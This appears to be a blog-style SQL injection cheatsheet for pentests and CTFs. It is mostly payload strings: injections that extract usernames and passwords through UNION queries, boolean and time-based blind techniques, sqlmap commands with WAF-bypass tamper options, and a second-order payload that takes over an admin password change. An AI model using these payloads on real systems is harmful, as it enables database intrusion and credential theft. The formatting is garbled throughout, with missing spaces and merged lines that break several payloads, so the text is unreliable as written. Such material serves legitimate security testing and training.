SQL injection remains one of the most impactful vulnerability classes in web applications. This cheatsheet covers every major technique you’ll encounter during pentests and CTFs, from basic union extraction to out-of-band data exfiltration.
Detection
The first goal is confirming that input reaches a SQL query unsanitized. A single quote is the classic canary:
' -- causes syntax error '' -- closes and reopens, often safe
If the application returns a different response (error, blank page, behavior change), SQL injection is likely. For numeric parameters try arithmetic:
id=1 AND1=1 -- true, normal response id=1 AND1=2 -- false, different response id=1-0 -- same as id=1 id=2-1 -- same as id=1
Union-Based Extraction
Union injection works when the application reflects query results back to the page.
Step 1 — Find column count
' ORDER BY 1-- 'ORDERBY2-- ' ORDER BY 3-- -- error here means 2 columns
Or with UNION NULL:
' UNION SELECT NULL-- 'UNIONSELECTNULL,NULL-- ' UNION SELECT NULL,NULL,NULL--
Step 2 — Find reflected columns
' UNION SELECT 'a',NULL,NULL-- 'UNIONSELECTNULL,'a',NULL-- ' UNION SELECT NULL,NULL,'a'--
Step 3 — Extract data (MySQL)
' UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema=database()-- 'UNIONSELECT column_name,NULLFROM information_schema.columns WHERE table_name='users'-- ' UNION SELECT username,password FROM users--
Concatenate multiple columns:
' UNION SELECT CONCAT(username,':',password),NULL FROM users-- 'UNIONSELECT username||':'||password,NULLFROM users-- -- PostgreSQL
Blind Boolean-Based
No data is reflected — you infer truth by observing whether the response changes.
' AND 1=1-- -- true: normal page 'AND1=2-- -- false: different/empty page
' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'-- 'AND (SELECTSUBSTRING(username,1,1) FROM users LIMIT 1)='b'--
Binary search approach
Instead of iterating a–z, use ASCII + binary search:
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)) > 64-- 'AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)) >96-- ' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)) > 112--
This extracts one character in 7 requests instead of up to 126.
Time-Based Blind
Use when there is zero output difference — only response timing changes.
-- MySQL ' AND SLEEP(5)-- 'AND IF(1=1,SLEEP(5),0)-- ' AND IF((SELECT COUNT(*) FROM users)>0,SLEEP(5),0)--
-- PostgreSQL '; SELECT pg_sleep(5)-- ' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)--
# Tamper scripts for WAF bypass sqlmap -u "https://target.com/page?id=1" --tamper=space2comment,between,randomcase
# Specify DBMS to speed up sqlmap -u "https://target.com/page?id=1" --dbms=mysql --level=3 --risk=2
Second-Order SQLi
The payload is stored, then executed in a different context:
Register username: admin'--
Change password form: UPDATE users SET password='x' WHERE username='admin'--' — the stored payload truncates the query, updating admin instead of your user.
Always test stored values that are later reflected into queries.
No comments yet. Be the first.